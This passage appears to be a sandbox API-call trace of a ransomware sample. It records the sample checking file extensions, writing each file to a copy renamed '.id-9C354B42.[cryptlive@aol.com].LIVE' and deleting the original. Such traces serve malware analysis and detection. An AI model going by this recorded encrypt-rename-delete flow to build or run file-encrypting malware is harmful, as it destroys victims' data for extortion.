Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0040.344] lstrlenW (lpString=".zip") returned 4 [0040.344] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.344] lstrlenW (lpString=".rar") returned 4 [0040.344] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.344] lstrlenW (lpString=".bz2") returned 4 [0040.344] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.344] lstrlenW (lpString=".7z") returned 3 [0040.344] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.345] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0040.345] lstrlenW (lpString=".dbf") returned 4 [0040.345] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.345] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0040.345] lstrlenW (lpString=".1cd") returned 4 [0040.345] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.345] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0040.345] lstrlenW (lpString=".jpg") returned 4 [0040.345] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.345] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0040.345] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0040.345] lstrlenW (lpString=".doc") returned 4 [0040.345] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.345] lstrlenW (lpString=".docx") returned 5 [0040.345] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0040.345] lstrlenW (lpString=".pdf") returned 4 [0040.345] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.345] lstrlenW (lpString=".xls") returned 4 [0040.345] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.345] lstrlenW (lpString=".xlsx") returned 5 [0040.345] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0040.345] lstrlenW (lpString=".ppt") returned 4 [0040.345] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.345] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0040.345] lstrlenW (lpString=".zip") returned 4 [0040.345] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.345] lstrlenW (lpString=".rar") returned 4 [0040.345] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.345] lstrlenW (lpString=".bz2") returned 4 [0040.345] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.345] lstrlenW (lpString=".7z") returned 3 [0040.345] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.345] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0040.345] lstrlenW (lpString=".dbf") returned 4 [0040.346] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.346] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0040.346] lstrlenW (lpString=".1cd") returned 4 [0040.346] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.346] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0040.346] lstrlenW (lpString=".jpg") returned 4 [0040.346] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.346] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0040.346] lstrlenW (lpString="VisiorWW.xml") returned 12 [0040.346] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0040.372] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=8723) returned 1 [0040.372] CloseHandle (hObject=0x1ac) returned 1 [0040.372] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml")) returned 0x2020 [0040.372] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0040.372] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0040.372] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.372] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.372] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0040.372] GetLastError () returned 0x0 [0040.372] ReadFile (in: hFile=0x1ac, lpBuffer=0x35f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesRead=0x2c8fed4*=0x2213, lpOverlapped=0x0) returned 1 [0040.374] WriteFile (in: hFile=0x1a8, lpBuffer=0x35f0020*, nNumberOfBytesToWrite=0x2220, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x2220, lpOverlapped=0x0) returned 1 [0040.375] ReadFile (in: hFile=0x1ac, lpBuffer=0x35f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0040.375] WriteFile (in: hFile=0x1a8, lpBuffer=0x35f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0040.375] SetEndOfFile (hFile=0x1a8) returned 1 [0040.375] CloseHandle (hObject=0x1a8) returned 1 [0040.376] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.376] SetEndOfFile (hFile=0x1ac) returned 1 [0040.377] CloseHandle (hObject=0x1ac) returned 1 [0040.378] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x2020) returned 1 [0040.378] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml")) returned 1 [0040.378] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0040.378] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0040.378] lstrlenW (lpString=".doc") returned 4 [0040.378] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.378] lstrlenW (lpString=".docx") returned 5 [0040.378] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0040.378] lstrlenW (lpString=".pdf") returned 4 [0040.378] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.378] lstrlenW (lpString=".xls") returned 4 [0040.379] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.379] lstrlenW (lpString=".xlsx") returned 5 [0040.379] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0040.379] lstrlenW (lpString=".ppt") returned 4 [0040.379] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.379] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0040.379] lstrlenW (lpString=".zip") returned 4 [0040.379] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.379] lstrlenW (lpString=".rar") returned 4 [0040.379] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.379] lstrlenW (lpString=".bz2") returned 4 [0040.379] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.379] lstrlenW (lpString=".7z") returned 3 [0040.379] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.379] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0040.379] lstrlenW (lpString=".dbf") returned 4 [0040.379] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.379] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0040.379] lstrlenW (lpString=".1cd") returned 4 [0040.379] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.379] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0040.379] lstrlenW (lpString=".jpg") returned 4 [0040.379] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.379] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0040.379] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0040.379] lstrlenW (lpString=".doc") returned 4 [0040.380] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.380] lstrlenW (lpString=".docx") returned 5 [0040.380] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0040.380] lstrlenW (lpString=".pdf") returned 4 [0040.380] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.380] lstrlenW (lpString=".xls") returned 4 [0040.380] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.380] lstrlenW (lpString=".xlsx") returned 5 [0040.380] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0040.380] lstrlenW (lpString=".ppt") returned 4 [0040.380] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.380] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0040.380] lstrlenW (lpString=".zip") returned 4 [0040.380] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.380] lstrlenW (lpString=".rar") returned 4 [0040.380] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.380] lstrlenW (lpString=".bz2") returned 4 [0040.380] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.380] lstrlenW (lpString=".7z") returned 3 [0040.380] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.380] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0040.380] lstrlenW (lpString=".dbf") returned 4 [0040.380] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.380] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0040.380] lstrlenW (lpString=".1cd") returned 4 [0040.380] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.380] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0040.381] lstrlenW (lpString=".jpg") returned 4 [0040.381] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.381] lstrcmpiW (lpString1=".PNG", lpString2=".LIVE") returned 1 [0040.381] lstrlenW (lpString="MS.PNG") returned 6 [0040.381] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0040.856] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=1682) returned 1 [0040.856] CloseHandle (hObject=0x1b4) returned 1 [0040.856] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png")) returned 0x20 [0040.856] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0040.856] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0040.856] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.856] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.856] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0040.856] GetLastError () returned 0x0 [0040.856] ReadFile (in: hFile=0x1b4, lpBuffer=0x35f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesRead=0x2c8fed4*=0x692, lpOverlapped=0x0) returned 1 [0040.858] WriteFile (in: hFile=0x1b8, lpBuffer=0x35f0020*, nNumberOfBytesToWrite=0x6a0, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x6a0, lpOverlapped=0x0) returned 1 [0040.859] ReadFile (in: hFile=0x1b4, lpBuffer=0x35f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0040.859] WriteFile (in: hFile=0x1b8, lpBuffer=0x35f0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0040.859] SetEndOfFile (hFile=0x1b8) returned 1 [0040.859] CloseHandle (hObject=0x1b8) returned 1 [0040.860] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.860] SetEndOfFile (hFile=0x1b4) returned 1 [0040.861] CloseHandle (hObject=0x1b4) returned 1 [0040.861] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0040.861] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png")) returned 1 [0040.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0040.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0040.861] lstrlenW (lpString=".doc") returned 4 [0040.861] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0040.861] lstrlenW (lpString=".docx") returned 5 [0040.861] lstrcmpiW (lpString1=".docx", lpString2="S.PNG") returned -1 [0040.861] lstrlenW (lpString=".pdf") returned 4 [0040.861] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0040.861] lstrlenW (lpString=".xls") returned 4 [0040.861] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0040.861] lstrlenW (lpString=".xlsx") returned 5 [0040.861] lstrcmpiW (lpString1=".xlsx", lpString2="S.PNG") returned -1 [0040.861] lstrlenW (lpString=".ppt") returned 4 [0040.861] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0040.862] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0040.862] lstrlenW (lpString=".zip") returned 4 [0040.862] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0040.862] lstrlenW (lpString=".rar") returned 4 [0040.862] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0040.862] lstrlenW (lpString=".bz2") returned 4 [0040.862] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0040.862] lstrlenW (lpString=".7z") returned 3 [0040.862] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0040.862] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0040.862] lstrlenW (lpString=".dbf") returned 4 [0040.862] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0040.862] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0040.862] lstrlenW (lpString=".1cd") returned 4 [0040.862] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0040.862] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0040.862] lstrlenW (lpString=".jpg") returned 4 [0040.862] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0040.862] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0040.862] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0040.862] lstrlenW (lpString=".doc") returned 4 [0040.862] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0040.862] lstrlenW (lpString=".docx") returned 5 [0040.862] lstrcmpiW (lpString1=".docx", lpString2="S.PNG") returned -1 [0040.862] lstrlenW (lpString=".pdf") returned 4 [0040.862] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0040.862] lstrlenW (lpString=".xls") returned 4 [0040.862] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0040.862] lstrlenW (lpString=".xlsx") returned 5 [0040.862] lstrcmpiW (lpString1=".xlsx", lpString2="S.PNG") returned -1 [0040.862] lstrlenW (lpString=".ppt") returned 4 [0040.862] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0040.862] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0040.863] lstrlenW (lpString=".zip") returned 4 [0040.863] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0040.863] lstrlenW (lpString=".rar") returned 4 [0040.863] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0040.863] lstrlenW (lpString=".bz2") returned 4 [0040.863] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0040.863] lstrlenW (lpString=".7z") returned 3 [0040.863] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0040.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0040.863] lstrlenW (lpString=".dbf") returned 4 [0040.863] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0040.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0040.863] lstrlenW (lpString=".1cd") returned 4 [0040.863] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0040.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0040.863] lstrlenW (lpString=".jpg") returned 4 [0040.863] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0040.863] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0040.863] lstrlenW (lpString="keypad.xml") returned 10 [0040.863] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0040.864] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=727) returned 1 [0040.864] CloseHandle (hObject=0x1b4) returned 1 [0040.864] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml")) returned 0x20 [0040.864] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0040.864] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0040.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0040.865] lstrlenW (lpString=".doc") returned 4 [0040.865] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.865] lstrlenW (lpString=".docx") returned 5 [0040.865] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0040.865] lstrlenW (lpString=".pdf") returned 4 [0040.865] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.865] lstrlenW (lpString=".xls") returned 4 [0040.865] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.865] lstrlenW (lpString=".xlsx") returned 5 [0040.865] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0040.865] lstrlenW (lpString=".ppt") returned 4 [0040.865] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0040.865] lstrlenW (lpString=".zip") returned 4 [0040.865] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.865] lstrlenW (lpString=".rar") returned 4 [0040.865] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.865] lstrlenW (lpString=".bz2") returned 4 [0040.865] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.865] lstrlenW (lpString=".7z") returned 3 [0040.865] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0040.865] lstrlenW (lpString=".dbf") returned 4 [0040.865] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0040.865] lstrlenW (lpString=".1cd") returned 4 [0040.865] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0040.866] lstrlenW (lpString=".jpg") returned 4 [0040.866] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0040.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0040.866] lstrlenW (lpString=".doc") returned 4 [0040.866] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.866] lstrlenW (lpString=".docx") returned 5 [0040.866] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0040.866] lstrlenW (lpString=".pdf") returned 4 [0040.866] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.866] lstrlenW (lpString=".xls") returned 4 [0040.866] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.866] lstrlenW (lpString=".xlsx") returned 5 [0040.866] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0040.866] lstrlenW (lpString=".ppt") returned 4 [0040.866] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0040.866] lstrlenW (lpString=".zip") returned 4 [0040.866] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.866] lstrlenW (lpString=".rar") returned 4 [0040.866] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.866] lstrlenW (lpString=".bz2") returned 4 [0040.866] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.866] lstrlenW (lpString=".7z") returned 3 [0040.866] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 